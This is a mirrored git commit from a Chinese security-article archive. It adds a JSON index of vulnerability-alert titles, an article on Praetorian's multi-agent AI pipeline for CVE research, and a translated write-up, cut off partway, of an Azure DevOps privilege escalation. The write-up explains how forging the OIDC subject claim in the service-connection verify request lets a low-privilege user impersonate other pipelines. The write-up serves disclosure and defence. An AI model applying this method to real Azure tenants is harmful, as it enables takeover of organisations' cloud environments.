mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
Azure DevOps权限提升漏洞分析、漏洞预警 | 大蚂蚁即时通讯系统SQL注入漏洞、【项目实战】如何用一个漏洞赚两笔钱、【EXP】Cisco Catalyst SD-WAN 身份验证绕过漏洞(CVE-2026-20127)、天地伟业Easy7 uploadMapServerBgImage接口存在任意文件上传漏洞 附POC、【高危漏洞预警】Cisco Catalyst SD-WAN 身份验证绕过漏洞CVE-2026-20127、用 Claude 把 GitHub 漏洞数据库变成代码审计 Skill、一款集资产管理与漏洞扫描于一体的网络安全评估系统|网络安全扫描利器、漏洞情报(已验证) | 0Day泛微云桥e-Bridge系统存在SQL注入漏洞、[RCE] 14行JSON，接管你的Langflow工作流引擎、Chrome Gemini漏洞：可致攻击者远程访问用户摄像头和麦克风、第68天-Web攻防实战：文件上传漏洞（JS提取 ∕ 源码审计 ∕ 编辑器利用）深度学习笔记、紧急预警：青龙面板严重漏洞，一行命令即可接管服务器！、第67天-Web攻防实战笔记：文件上传漏洞原理、绕过技巧与真实场景复盘、攻防演练神器 | 一键检测Struts2∕Shiro∕Log4j等主流漏洞、AI智能体如何自动化CVE漏洞研究、漏洞预警 | WordPress plugin WPNakama SQL注入漏洞、SRC系列——某高校食堂支付程序惊现“0元购”？SRC支付逻辑漏洞、【服务端漏洞-访问控制缺失-第三章第一节】身份验证漏洞攻击指南（基础篇）：认证、授权与暴力破解逻辑、【漏洞预警】青龙面板 网站管理系统 dependencies 远程代码执行漏洞、漏洞预警 | 青龙面板身份认证绕过漏洞、OpenClaw惊爆"ClawJacked"漏洞：AI Agent已被静默接管？、红队福音：GoExec实现多种Windows远程代码执行方法、Web安全扫描工具 | JS敏感信息收集、API端点提取、API文档解析、页面爬取、子域名发现、漏洞测试、WAF检测与绕过、JS代码分析、专业的文件上传漏洞检测工具 | 支持263+绕过技术、代理抓包、动态扫描、WatchDogKiller：WatchDog Anti-Malware 驱动漏洞 PoC、破解云端加密：亚马逊 AWS-LC 库中发现未经身份验证的绕过漏洞、高危预警 | CVE-2026-26713：开源点餐系统存在未授权 SQL 注入漏洞，CVSS 评分 9.8、TopazTerminator：一款利用漏洞驱动杀进程的黑客工具、
This commit is contained in:
test committed
1 parent
8afdb89d7e
commit
cd6e57a2de
30 files changed
+4615
-52
No files matched your search
@@ -18566,5 +18566,34 @@
|
||||
"https://mp.weixin.qq.com/s/t_VNm95DuDB-zSm60dbI1g": "【漏洞预警】麒麟操作系统V11 KysecScene D-Bus 服务本地提权漏洞",
|
||||
"https://mp.weixin.qq.com/s/AjjCWHAokr2AAfPbqURadw": "恶意盗取Token接管OpenClaw AI Agent（CVE-2026-25253 ClawJacked）漏洞解析与安全加固方法",
|
||||
"https://mp.weixin.qq.com/s/WKFyaWjfrnrm2TxSPBQmKA": "【漏洞预警】天地伟业Easy7 uploadMapServerBgImage 文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s/JCXLbJQ10qUr49I-597Fqg": "【漏洞预警】天地伟业Easy7 uploadMapServerBgImage 文件上传漏洞"
|
||||
"https://mp.weixin.qq.com/s/JCXLbJQ10qUr49I-597Fqg": "【漏洞预警】天地伟业Easy7 uploadMapServerBgImage 文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s/W_Msy1NTtUy0JDWzHRB5gw": "Azure DevOps权限提升漏洞分析",
|
||||
"https://mp.weixin.qq.com/s/4ujLQX58e4_wDT8eL1jNjA": "漏洞预警 | 大蚂蚁即时通讯系统SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/AZU0GCqCArUGEvLcsH19tg": "【项目实战】如何用一个漏洞赚两笔钱",
|
||||
"https://mp.weixin.qq.com/s/JbD43ixjfMZIywi9QnZJfg": "【EXP】Cisco Catalyst SD-WAN 身份验证绕过漏洞(CVE-2026-20127)",
|
||||
"https://mp.weixin.qq.com/s/Ex11CFBLvrsb3cV6-R3_lw": "天地伟业Easy7 uploadMapServerBgImage接口存在任意文件上传漏洞 附POC",
|
||||
"https://mp.weixin.qq.com/s/EshGhLL7mIGcvYg94GPo7g": "【高危漏洞预警】Cisco Catalyst SD-WAN 身份验证绕过漏洞CVE-2026-20127",
|
||||
"https://mp.weixin.qq.com/s/3vdborbClBeBYo4SEFbKjg": "用 Claude 把 GitHub 漏洞数据库变成代码审计 Skill",
|
||||
"https://mp.weixin.qq.com/s/mJFJFEdM0GHYcXirUkL3KQ": "一款集资产管理与漏洞扫描于一体的网络安全评估系统|网络安全扫描利器",
|
||||
"https://mp.weixin.qq.com/s/LqJ3xcnXXh1Geq9QvvEuOg": "漏洞情报(已验证) | 0Day泛微云桥e-Bridge系统存在SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/bqKCongVONQLGTg-jHHUVA": "[RCE] 14行JSON，接管你的Langflow工作流引擎",
|
||||
"https://mp.weixin.qq.com/s/VdctSS2QS5pSp5iHkp8dIA": "Chrome Gemini漏洞：可致攻击者远程访问用户摄像头和麦克风",
|
||||
"https://mp.weixin.qq.com/s/wNny08iS1zntkTbPJWXPiA": "第68天-Web攻防实战：文件上传漏洞（JS提取 ∕ 源码审计 ∕ 编辑器利用）深度学习笔记",
|
||||
"https://mp.weixin.qq.com/s/8CEh18Eg54yqcyFs-p4p6g": "紧急预警：青龙面板严重漏洞，一行命令即可接管服务器！",
|
||||
"https://mp.weixin.qq.com/s/eddbW0UqL9Nktq4dZXzEuw": "第67天-Web攻防实战笔记：文件上传漏洞原理、绕过技巧与真实场景复盘",
|
||||
"https://mp.weixin.qq.com/s/O9o2hDkJ7R2y2gdQsvkcuw": "攻防演练神器 | 一键检测Struts2∕Shiro∕Log4j等主流漏洞",
|
||||
"https://mp.weixin.qq.com/s/01A87uDZk2Yu1nM89GJOPA": "AI智能体如何自动化CVE漏洞研究",
|
||||
"https://mp.weixin.qq.com/s/TA5bilWX2phJnMKE6akDjg": "漏洞预警 | WordPress plugin WPNakama SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/qyUBVRHoamkyoph01CryGA": "SRC系列——某高校食堂支付程序惊现“0元购”？SRC支付逻辑漏洞",
|
||||
"https://mp.weixin.qq.com/s/4DSk7IYtsVYeYKAYgzsSQg": "【服务端漏洞-访问控制缺失-第三章第一节】身份验证漏洞攻击指南（基础篇）：认证、授权与暴力破解逻辑",
|
||||
"https://mp.weixin.qq.com/s/oxvSmUx_sX3uHSbw2skv3w": "【漏洞预警】青龙面板 网站管理系统 dependencies 远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s/O2z852EaYHnIPUEKUKy5lQ": "漏洞预警 | 青龙面板身份认证绕过漏洞",
|
||||
"https://mp.weixin.qq.com/s/-PnzihRRiyQaL_kVDEB89g": "OpenClaw惊爆\"ClawJacked\"漏洞：AI Agent已被静默接管？",
|
||||
"https://mp.weixin.qq.com/s/fFJ9TRMVTH6DIjIz9As82A": "红队福音：GoExec实现多种Windows远程代码执行方法",
|
||||
"https://mp.weixin.qq.com/s/DEarwnclXxu_0f7Knr3T4Q": "Web安全扫描工具 | JS敏感信息收集、API端点提取、API文档解析、页面爬取、子域名发现、漏洞测试、WAF检测与绕过、JS代码分析",
|
||||
"https://mp.weixin.qq.com/s/3LjH2FGa3niEhv7Z5SpQyg": "专业的文件上传漏洞检测工具 | 支持263+绕过技术、代理抓包、动态扫描",
|
||||
"https://mp.weixin.qq.com/s/cd6CCjVWuKT3kj3soDf3nA": "WatchDogKiller：WatchDog Anti-Malware 驱动漏洞 PoC",
|
||||
"https://mp.weixin.qq.com/s/UHPFxCW9raVKce2eP51siA": "破解云端加密：亚马逊 AWS-LC 库中发现未经身份验证的绕过漏洞",
|
||||
"https://mp.weixin.qq.com/s/Y3XO2y3L6rTVbjmz1E6qYg": "高危预警 | CVE-2026-26713：开源点餐系统存在未授权 SQL 注入漏洞，CVSS 评分 9.8",
|
||||
"https://mp.weixin.qq.com/s/UpQzmRy_F52MlZ4ZbK2b8Q": "TopazTerminator：一款利用漏洞驱动杀进程的黑客工具"
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
# AI智能体如何自动化CVE漏洞研究
|
||||
幻泉之洲 2026-03-06 01:07
|
||||
|
||||
> Praetorian推出的“CVE研究员”是一个基于多智能体的人工智能流水线，它能彻夜工作，自动完成漏洞研究的全部流程——从信息收集、技术侦查，到生成Nuclei检测模板、分析攻击利用手法。这篇文章拆解了背后由四个阶段构成的复杂技术架构，并探讨了它对安全团队工作模式的改变：把重复性劳动交给AI，让人专注于需要判断与创造力的高价值工作。
|
||||
|
||||
## 不简单的自动化
|
||||
|
||||
把一份CVE公告塞给ChatGPT，让它写个检测规则，这不叫自动化，这叫偷懒。真正的自动化，是把一个资深安全研究员面对新漏洞时那一整套思考、搜索、验证和产出动作全部拆解，然后交给一个分工明确的AI团队去执行。
|
||||
|
||||
**CVE研究员就是这么干的。**
|
||||
它不是一个单一的、笨重的大模型，而是一个构建在谷歌Agent开发套件（ADK）上的多智能体协调系统。它把漏洞研究拆成四个专业环节，每个环节调用最擅长该任务的AI模型，最后给你一整套能直接上生产环境用的东西。
|
||||
|
||||
这背后是一个清晰的逻辑：现代AI架构已经能处理那些过去严重依赖专家经验的、复杂的多步骤安全工作了。
|
||||
## 四阶段流水线：分工的艺术
|
||||
|
||||
|
||||
|
||||
|
||||
CVE研究员的核心是下面这个四阶段流水线。关键思路不是让一个模型包打天下，而是把问题分解成适合不同模型能力的独立任务。
|
||||
- **深度研究阶段**
|
||||
用具备网页搜索能力的模型（如OpenAI的o4-mini-deep-research）去搜集信息。
|
||||
|
||||
- **模板生成阶段**
|
||||
用经过代码训练的模型来写检测规则。
|
||||
|
||||
- **评估阶段**
|
||||
用逻辑推理能力强的模型来评审和迭代。
|
||||
|
||||
这种分解让每个智能体都能发挥其所长。
|
||||
### 深度研究：AI如何当侦探
|
||||
|
||||
研究智能体是流水线的信息入口。它的工作很像一个刚拿到漏洞编号的安全分析师。它会打开搜索引擎，同时查询NVD数据库、厂商公告、安全研究员的博客文章和PoC代码库。
|
||||
> 这个过程不总是顺利的。一次完整的搜索、阅读和综合可能要花10到15分钟，有时主模型会超时或触发速率限制。系统为此设计了自动回退机制：如果主要模型不行，就换用GPT-5（推理版），虽然搜索深度可能打折扣，但保证了流水线不中断。
|
||||
|
||||
|
||||
最终，它会产出一份详尽的研究报告，内容涵盖漏洞摘要、受影响产品和版本、已知利用技术、检测指标和修复指南。这相当于为后续所有工作打下了一个扎实的事实基础。
|
||||
### 技术侦查：从CVE到你的资产
|
||||
|
||||
拿到一份漏洞报告只是开始。NVD里的CVE数据是通用的，但它不会自动告诉你“这个漏洞关我什么事”。
|
||||
|
||||
技术侦查智能体的任务就是填补这个鸿沟。它会从前一步的研究报告中，提取出结构化的技术检测需求：
|
||||
- 主要受影响的技术（比如“Apache Log4j 2.x”）
|
||||
|
||||
- 可能暴露问题的相关技术支持
|
||||
|
||||
- 易受攻击的配置和部署模式
|
||||
|
||||
- 用于技术指纹识别的指标
|
||||
|
||||
接下来，它会把这些需求跟Praetorian Guard平台上发现的客户环境实际资产去做匹配。这个过程分四步：
|
||||
1. **发现**
|
||||
查询平台，找出客户部署了哪些技术。
|
||||
|
||||
1. **关联**
|
||||
将受CVE影响的技术与发现的资产进行比对。
|
||||
|
||||
1. **提取**
|
||||
从CPE字符串中解析出厂商和产品标识，以便精准搜索。
|
||||
|
||||
1. **整合**
|
||||
在现有的Nuclei模板库中搜索已验证的检测模式。
|
||||
|
||||
这个阶段的终极目标，就是回答那个最关键的问题：“我的哪些资产可能受这个漏洞影响？”
|
||||
## 核心中的核心：演员-评论家循环
|
||||
|
||||
漏洞检测模板的生成是流水线最复杂的部分。它用上了一组子智能体和一个迭代式的“演员-评论家”循环。
|
||||
|
||||
过程是这样的：
|
||||
|
||||
首先，**检测计划生成器智能体**
|
||||
会根据研究报告，制定一个有结构的检测策略。写清楚要测试哪些HTTP请求模式，匹配哪些响应指标，以及如何避免误报。
|
||||
|
||||
接着，**Nuclei检测智能体**
|
||||
按照这个计划生成初始模板。但这还没完，系统不会采纳第一个输出。每个模板都要经过多道验证：
|
||||
1. **语法验证**
|
||||
检查YAML结构和Nuclei模式合规性。
|
||||
|
||||
1. **模板修复智能体**
|
||||
用AI把上一步发现的语法错误、模式违规和结构问题都给修正了。
|
||||
|
||||
1. **再次验证**
|
||||
确认问题都已解决。
|
||||
|
||||
1. **安全情报提取**
|
||||
从攻击角度分析模板。
|
||||
|
||||
然后，**评论家智能体**
|
||||
登场。它评估输出质量并提供迭代反馈。这个从强化学习借鉴来的“演员-评论家”模式，让系统能够渐进式地提升模板质量，而不是接受可能有缺陷的初版。
|
||||
|
||||
|
||||
|
||||
|
||||
这个反馈循环至关重要。当评论家智能体找到一个生成模板的问题时，它会提供具体的反馈，传回给Nuclei智能体重新生成。这个循环会一直持续，直到模板通过验证，或者达到最大迭代次数。
|
||||
|
||||
实际跑下来，大部分模板需要2到3轮迭代才能达到生产质量。多花的这点处理时间，换来的是更可靠的产出。
|
||||
### 攻击视角：模拟对手思维
|
||||
|
||||
检测智能体的目标是发现易受攻击的系统，而**漏洞利用智能体**
|
||||
负责从攻击者的角度看问题。
|
||||
|
||||
这个智能体会分析：攻击者会怎么实际利用这个漏洞？具体用什么方法、载荷和工具？成功利用后能获得什么？这个漏洞有没有可能和其他漏洞组合成攻击链？
|
||||
|
||||
它基于那份全面的研究报告，产出利用指导，帮安全团队理解真实世界的风险。这种攻击视角确保了检测模板瞄准的是对手真正会用的攻击模式，而不仅仅是理论上的指标。
|
||||
## 价值所在：你睡觉时，AI在工作
|
||||
|
||||
这个流水线的终点不是生成模板就完了。对于那些网络攻击路径明确、CVSS评分9.0以上的关键漏洞，系统会自动做下面几件事：
|
||||
- 向Praetorian的Nuclei模板仓库发起一个拉取请求。
|
||||
|
||||
- 生成一张待人工复核批准的工单。
|
||||
|
||||
- 把产出物复制到标准化的输出目录，供下游系统使用。
|
||||
|
||||
结果就是：当半夜爆出一个高危漏洞，安全工程师早上来到公司时，会发现基础工作已经全部就绪。研究报告和漏洞分析已经写好了。检测模板生成并验证过了。拉取请求已经打开等着你审阅。工单就摆在那儿，上下文一应俱全。
|
||||
> 这才是关键。这改变了安全团队分配时间的方式。工程师们不用再埋头于重复性的研究和模板编写，可以把精力集中在更有价值的工作上：运用领域知识为自家环境定制检测规则，进行更深层的威胁分析，调查自动化可能遗漏的边缘情况，去推进那些在疲于应付响应性任务时总是被延后的主动安全项目。
|
||||
|
||||
|
||||
流水线处理的是**量**
|
||||
和**速度**
|
||||
；人提供的是只有经验丰富的从业者才具备的**判断力**
|
||||
、**创造力**
|
||||
和**情境理解力**
|
||||
。
|
||||
## 为什么用多个AI模型？
|
||||
|
||||
这个流水线利用了OpenAI、谷歌和Anthropic的模型，为每个任务选择最合适的工具。
|
||||
- 研究阶段受益于有网页搜索能力的模型。
|
||||
|
||||
- 代码生成任务利用技术训练强的模型。
|
||||
|
||||
- 评估和批评阶段选用推理能力优化的模型。
|
||||
|
||||
而且，当主要模型遇到速率限制或超时时，每个智能体都可以回退到备用模型，这确保了即使在高负载下，流水线依然可靠。
|
||||
|
||||
这种多供应商策略既避免了被单一厂商锁定，又能在整个工作流中综合优化成本、速度和能力。
|
||||
## 实战中的经验
|
||||
|
||||
构建CVE研究员的过程中，我们得到了一些对复杂AI自动化项目通用的经验：
|
||||
- **分解胜过一锅炖**
|
||||
把问题拆分成专门的智能体，比搞一个庞然大物效果好得多。每个智能体可以独立优化、测试和改进。
|
||||
|
||||
- **回退机制必须有**
|
||||
生产系统一定会遇到速率限制、超时和模型退化。优雅地回退到备用模型，是保证流水线可靠性的关键。
|
||||
|
||||
- **迭代比一次性生成强**
|
||||
“演员-评论家”循环产出的模板，质量稳定高于一次性生成。为了生产级输出，多花点时间值得。
|
||||
|
||||
- **人的监督依旧关键**
|
||||
自动化搞定的是量和速度。但关于部署优先级和修复策略的最终决策，还是得靠人来做判断。
|
||||
|
||||
## 它不是替代，而是增强
|
||||
|
||||
CVE研究员展示的是多智能体AI系统如何攻克复杂的安全工作流。通过把漏洞研究分解成专业阶段，协调多个AI模型，并实施迭代优化，这条流水线实现了一种增强人类专业能力，而非取代人类的自动化。
|
||||
|
||||
它的真正价值，在于把安全专家从信息过载和重复劳动中解放出来，让他们去做那些只有人才能做好的事。这才是AI在安全领域应该扮演的角色。
|
||||
## 一些常见疑问
|
||||
### 这个系统用哪些AI模型？
|
||||
|
||||
流水线用了OpenAI、谷歌和Anthropic的模型，按任务选最合适的。研究阶段用有搜索能力的（如OpenAI深度研究模型）。代码生成用技术训练强的。评估和批评用擅长推理的。每个智能体都有备用模型，防止主模型出问题。
|
||||
### “演员-评论家”循环怎么提升质量？
|
||||
|
||||
简单说就是不采纳AI生成的第一个版本。每个模板都要走一遍“验证-反馈”循环。评论家智能体评估后，给生成智能体具体的修改意见，让它重写。这个过程通常要来回2到3次，能抓住一次性生成会漏掉的语法错误、模式问题和误报风险。
|
||||
### 它会取代安全分析师吗？
|
||||
|
||||
不会。它自动化的是CVE研究中那些量大、重复的部分——收集情报、生成初始检测模板、汇总利用指南。所有产出最后还是需要人工审核，工程师要根据具体环境定制检测规则，做部署决策，并进行那些需要情境判断的深度威胁分析。AI搭台，人唱戏。
|
||||
|
||||
（参考资料链接：Praetorian Guard平台[1]
|
||||
，联系Praetorian团队[2]
|
||||
）
|
||||
### 参考资料
|
||||
|
||||
[1]
|
||||
https://www.praetorian.com/products/guard/
|
||||
|
||||
[2]
|
||||
https://www.praetorian.com/contact/
|
||||
|
||||
[3]
|
||||
https://www.praetorian.com/blog/how-ai-agents-automate-cve-vulnerability-research/
|
||||
|
||||
@@ -0,0 +1,335 @@
|
||||
# Azure DevOps权限提升漏洞分析
|
||||
Dubito
|
||||
Dubito 云原生安全指北 2026-03-06 00:35
|
||||
|
||||
|
||||
|
||||
> 注：本文翻译自 Daze Security 的文章
|
||||
《Azure DevOps Privilege Escalation via OIDC Abuse》[1]
|
||||
，可点击文末“阅读原文”按钮查看英文原文。
|
||||
|
||||
|
||||
全文如下：
|
||||
|
||||
2025 年年中，我在 Azure DevOps 中发现了一个漏洞，该漏洞可用于提升权限，并通过 DevOps 服务连接入侵 Azure 环境。在大多数使用 DevOps 进行 CI/CD 并采用工作负载身份作为服务连接凭证的组织中，此漏洞可能被滥用来完全控制其 Azure 环境。
|
||||
## 摘要
|
||||
- • Azure DevOps 存在一个权限提升漏洞，该漏洞源于其联合凭证（federated credentials）功能的实现缺陷。
|
||||
|
||||
- • 一个低权限的 Azure DevOps 用户能够伪造 OIDC 令牌，以代表组织内的任意 CI/CD 流水线。
|
||||
|
||||
- • 攻击者可以通过另一个 SSRF 漏洞来窃取令牌。
|
||||
|
||||
- • 成功登录的日志显示，该登录行为源自 Azure DevOps 服务的 IP 地址。
|
||||
|
||||
## 一、引言
|
||||
|
||||
CI/CD 流水线（pipeline）常常被忽视，但它们却是组织中最关键的攻击面之一。在现代云开发和运维实践中，几乎所有操作都由这些流水线执行——它们通过基础设施即代码（infrastructure-as-code，IaC）部署云资源、配置这些资源、构建和部署代码，在某些组织中，甚至通过赋予流水线高权限来管理 Entra ID 本身。这意味着，如果攻击者能够获取分配给 CI/CD 流水线的权限，他们实际上就成为了管理员。
|
||||
|
||||
攻击者尝试夺取这些权限的方式有很多种，例如入侵权限过高的开发者、攻陷构建代理（build agents）、在源代码中查找 secrets，或发起 CI/CD 攻击。然而，这些通常是由于网络钓鱼、错误配置和不良操作实践导致的，并非本文要讨论的主题。
|
||||
|
||||
本文将重点介绍 Azure DevOps 产品本身存在的一个漏洞，该漏洞可被用来夺取其 CI/CD 流水线的权限。尚不清楚此缺陷存在了多久，但自 DevOps 和 Entra ID 推出联合凭证功能以来，大多数 Azure DevOps 环境很可能都受此漏洞影响。
|
||||
|
||||
虽然这个漏洞本身相当简单，但发现它的过程却并非如此。因此，我将引导读者了解将这个漏洞组合成完整利用方法过程中的种种曲折。
|
||||
## 二、背景
|
||||
|
||||
与大多数漏洞相比，要理解这个问题需要对所涉及的技术有相当深入的了解。具体来说，我们需要了解以下内容：
|
||||
- • Entra ID 联合凭证（federated credentials）
|
||||
|
||||
- • Azure DevOps 服务连接（Service Connections）和流水线（pipelines）
|
||||
|
||||
- • OIDC
|
||||
|
||||
- • DevOps 服务连接中 OIDC 的实现
|
||||
|
||||
在本节中，我们将对以上每个主题提供一些必要的背景知识。
|
||||
### 2.1 Entra ID 联合凭证（Federated Credentials）
|
||||
|
||||
Entra ID 中的“服务主体（service principals）”是一种身份类型，常用于在系统间的认证和授权流程中代表一个系统。就像用户一样，可以为服务主体分配权限，以允许该服务主体对其他系统或 API 执行经过身份验证的操作。例如，可以为服务主体分配 Azure RBAC 角色和 Entra ID 角色，或者为其授予 Graph API 权限。
|
||||
|
||||
为了“使用”服务主体的权限，或者“登录”为服务主体，一个系统会向 Entra ID 执行
|
||||
OAuth 客户端凭证授权（OAuth Client Credential Grant）[2]
|
||||
，以登录到特定的后端“资源”，例如 Azure 资源管理 API。此登录请求需要几个参数（详见上面的链接），其中包括该服务主体的客户端 ID（client ID）和某种类型的密钥（secret）。作为响应，Entra ID 会返回一个 OAuth 访问令牌（Access Token），然后可以使用该令牌代表该服务主体与后端资源进行交互。
|
||||
|
||||
可以在 Entra ID 服务主体上配置三种类型的密钥来执行这种登录：
|
||||
- • 客户端密钥（Client Secret）：一个简单的字符串，用于客户端凭证授权流程。
|
||||
|
||||
- • 证书（Certificate）：用于签名一个“断言（assertion）”的证书，然后该断言被用于客户端凭证授权流程。
|
||||
|
||||
- • 联合凭证（Federated Credential）：一个由 Issuer（颁发者）/Subject（主题）组成的配对。一个外部的 OIDC 提供方（颁发者）可以签名一个断言，而 Entra ID 将通过该提供方的
|
||||
众所周知的公共 URL[3]
|
||||
（这是 OIDC 的标准）来验证该断言确实是由该颁发者签名的。这个断言会被用于客户端凭证授权流程。
|
||||
|
||||
Entra ID 联合凭证允许用户在 Entra ID 和一个外部 OIDC 提供方之间建立“信任”。这些凭证是更简单的 OAuth 客户端密钥（secrets）和证书的替代方案，它们让用户可以避免执行密钥管理任务，例如向外部系统发送密钥以及轮换这些密钥。在可能的情况下，微软通常认为这是最佳实践。
|
||||
### 2.2 Azure DevOps 服务连接和流水线
|
||||
|
||||
CI/CD 流水线需要权限才能向其配置或部署的后端资源进行身份验证。例如，在向 Azure 部署基础设施即代码的 CI/CD 流水线中，该流水线需要一种方法，通过向 Azure 订阅或管理组分配的 Azure RBAC 角色来进行身份验证。
|
||||
|
||||
如上一节所述，这需要使用 Entra ID 中的服务主体。需要将 CI/CD 环境配置为能够代表一个有权限访问 Azure 的服务主体进行登录。
|
||||
|
||||
在 Azure DevOps 中，你可以通过创建所谓的
|
||||
“服务连接（Service Connection）”[4]
|
||||
来实现这一点。根据你部署的目标系统不同，可以创建多种类型的服务连接。例如，你可以创建专门用于部署到 Azure、访问 Azure Key Vault 或连接到 NuGet 的服务连接。每种服务连接“类型（type）”都有用于身份验证的不同参数。
|
||||
|
||||
其中一些连接允许用户指定服务主体的参数进行身份验证，并允许用户选择流水线应使用哪种密钥类型来通过该服务主体向后端资源进行身份验证。在 Azure 中最常用的例子是 Azure 资源管理器（Azure Resource Manager）服务连接：
|
||||
|
||||
|
||||
|
||||
请注意上图中，此服务连接已配置为使用工作负载联合凭证（Workload Federation credential）来登录后端服务主体。下文将对此进行更详细的说明。
|
||||
### 2.3 OpenID Connect (OIDC)
|
||||
|
||||
OIDC 是一个构建在 OAuth 2.0 之上的协议，它允许应用程序之间进行身份验证，既包括用户，也包括系统。
|
||||
|
||||
人们通常只在用户向应用程序进行身份验证的上下文中考虑 OIDC。然而，该协议也可用于服务到服务的身份验证。例如，如今大多数 CI/CD 流水线都提供了某种形式的 OIDC 支持。
|
||||
|
||||
简单来说，它的工作原理是这样的：一个后端应用程序需要被配置为“信任（trust）”一个特定的 OAuth/OIDC 授权服务器。这意味着，当该应用程序接收到一个由该 OIDC 颁发者签名的令牌时，它会执行以下简单步骤来检查该令牌是否可信：
|
||||
1. 1. 解码令牌（一个 JWT 令牌）。
|
||||
|
||||
1. 2. 获取颁发者（issuer）声明。这通常是一个有效的域名，OIDC 的“发现”机制会用到这个域名。
|
||||
|
||||
1. 3. 根据发现机制，从该颁发者域名下可用的已知端点（well-known endpoint）获取公开的配置和密钥。
|
||||
|
||||
1. 4. 使用从颁发者获取的公钥验证 JWT 令牌的签名。
|
||||
|
||||
上述过程简化了一些细节和变体，但对于理解本文来说，这些是需要掌握的重要步骤。
|
||||
|
||||
令牌验证通过后，其内容就可以被应用程序信任。令牌的内容包含各种“声明（claims）”，这些声明可用于识别调用者或“客户端”。具体来说，其中有一个标准的 **“主题（subject）”**
|
||||
声明，它唯一地标识了从颁发者获取令牌的用户或系统。
|
||||
|
||||
理解验证 OIDC 令牌的流程以及这个主题（subject）声明，对于理解本文所述漏洞的原理至关重要。
|
||||
### 2.4 Azure DevOps 服务连接中 OIDC 的实现
|
||||
|
||||
OIDC 协议定义了如何通过授权服务器（颁发者issuer）在两个系统之间**建立信任**
|
||||
，但除了使用主题（subject）声明之外，它并没有描述如何唯一地标识经过身份验证的系统。在本节中，我们将描述这在 Azure DevOps 内部是如何工作的。
|
||||
|
||||
在 Azure DevOps 中，使用工作负载联合向 Entra ID 进行身份验证的流水线会用到 OIDC 协议。这与 Entra ID 联合凭证结合使用，以便在 Entra ID 中的服务主体和 Azure DevOps 中的**特定**
|
||||
流水线之间建立信任。此信任关系的配置方法是将颁发者（issuer）设置为 Azure DevOps 授权服务器，并将主题（subject）设置为代表流水线中使用的特定服务连接。
|
||||
|
||||
|
||||
|
||||
当 Azure DevOps 流水线运行时，它可以向 DevOps 颁发者为其所使用的服务连接请求一个 OIDC “id 令牌（id token）”。生成的令牌包含该服务连接的唯一主题（subject），如上所述。
|
||||
|
||||
在收到服务连接的 id 令牌后，Azure DevOps 流水线运行时会使用该令牌向 Entra ID 服务主体执行客户端凭证授权（client credential grant）（请参见上面关于 Entra ID 联合凭证的部分），并代表该服务主体接收访问令牌。Entra ID 将验证 OIDC 令牌中的主题（subject）是否与服务主体上配置的某个联合凭证相匹配，并且验证该令牌是使用在该联合凭证颁发者（issuer）的发现端点上找到的密钥签名的。
|
||||
|
||||
此流程如下图所示：
|
||||
|
||||
|
||||
#### 主题（Subject）声明的重要性
|
||||
|
||||
请注意在此设置中主题（subject）的重要性——这是 OIDC 令牌中唯一允许 Entra ID 区分是**哪个**
|
||||
服务连接和流水线正在尝试登录的声明。如果主题（subject）声明可以被控制，它就可能被用来冒充任何使用工作负载联合且令牌由同一颁发者签名的服务连接。这个主题（subject）声明正是本文所述漏洞的目标。
|
||||
## 三、漏洞分析
|
||||
|
||||
基于上文详尽的背景介绍，这个漏洞就比较容易发现了。
|
||||
|
||||
Azure DevOps 中存在漏洞的功能，是创建服务连接时一个看起来人畜无害的“验证/保存”按钮：
|
||||
|
||||
|
||||
|
||||
在设置新的服务连接时，Azure DevOps 允许用户“验证”该服务连接是否可用。如果验证成功，则会保存。如果服务连接按照配置“登录”失败，则会向用户显示一条错误信息：
|
||||
|
||||
|
||||
|
||||
当选择工作负载联合密钥类型时，此功能同样存在。基于这个按钮的作用，以及它实际上会验证登录是否成功这一事实，我们可以推断出以下几点：
|
||||
1. 1. 当点击“验证并保存”时，Azure DevOps 会获取一个带有该服务连接主题（subject）的已签名 OIDC 令牌。
|
||||
|
||||
1. 2. Azure DevOps 使用该 OIDC 令牌，针对所配置的服务主体执行一次完整的客户端凭证授权，并获取一个访问令牌。
|
||||
|
||||
1. 3. Azure DevOps **使用**
|
||||
这个访问令牌去调用某个后端 API，以检查令牌是否有效。
|
||||
|
||||
从表面上看，这些步骤似乎没什么危害。然而，当我们查看点击“验证并保存”按钮时实际发送给 DevOps API 的请求内容时，就会发现其中的数据非常可疑：
|
||||
|
||||
|
||||
|
||||
为什么说它可疑呢？
|
||||
|
||||
**如果用户本不应能够定义 OIDC 令牌中的主题（subject），那为什么浏览器需要在此请求中将 subject 参数发送给 API？API 应该根据服务连接本身就能知道主题（subject）应该是什么！**
|
||||
|
||||
请记住，如果我们能控制主题（subject），我们就能控制我们可以**以哪个**
|
||||
服务连接的身份登录。
|
||||
|
||||
这很可疑，但如果我们无法实际更改 DevOps 用来生成令牌的主题（subject），它就不一定是一个漏洞。设计欠佳的网站和 API 常常包含一些未被实际使用的多余参数。因此，让我们来看看如何进行测试……
|
||||
### 验证漏洞
|
||||
|
||||
基于上面的截图，我们目前只有一个推测：开发人员搞错了，他们在生成 id 令牌时使用了用户提供的主题（subject），而不是使用映射到服务连接的那个主题。我们需要验证事实是否如此。
|
||||
|
||||
如果这个推测是正确的，那么我们就可以利用上面截获的 API 请求，强制 DevOps 生成一个带有任意主题（subject）的 id 令牌。该令牌将在对后端服务主体执行客户端凭证授权以“测试”连接时使用。验证这个推测的一个难点在于，我们实际上无法**看到**
|
||||
生成的 id 令牌，因为此 API 的响应要么是错误信息，要么是成功信息。
|
||||
|
||||
既然我们看不到 OIDC 令牌，我们可以通过创建一个主题（subject）永远不会被 DevOps 生成的 Entra ID 联合凭证，然后尝试用它登录，来验证我们是否能控制主题（subject）。如果 DevOps 能够验证这个凭证，那么就能证明我们可以控制主题（subject）声明。
|
||||
|
||||
这可以通过两个简单的步骤完成：
|
||||
1. 1. 创建一个新的服务主体和联合凭证，并设置一个随机的主题（subject）声明，例如：
|
||||
|
||||
|
||||
1. 2. 重复点击“验证并保存”时发送的 API 请求，但将请求中的主题（subject）替换为上面设置的主题。
|
||||
|
||||
这可以通过 Burp Suite 来完成，先截获请求，修改主题（subject）后再重放该请求。
|
||||
|
||||
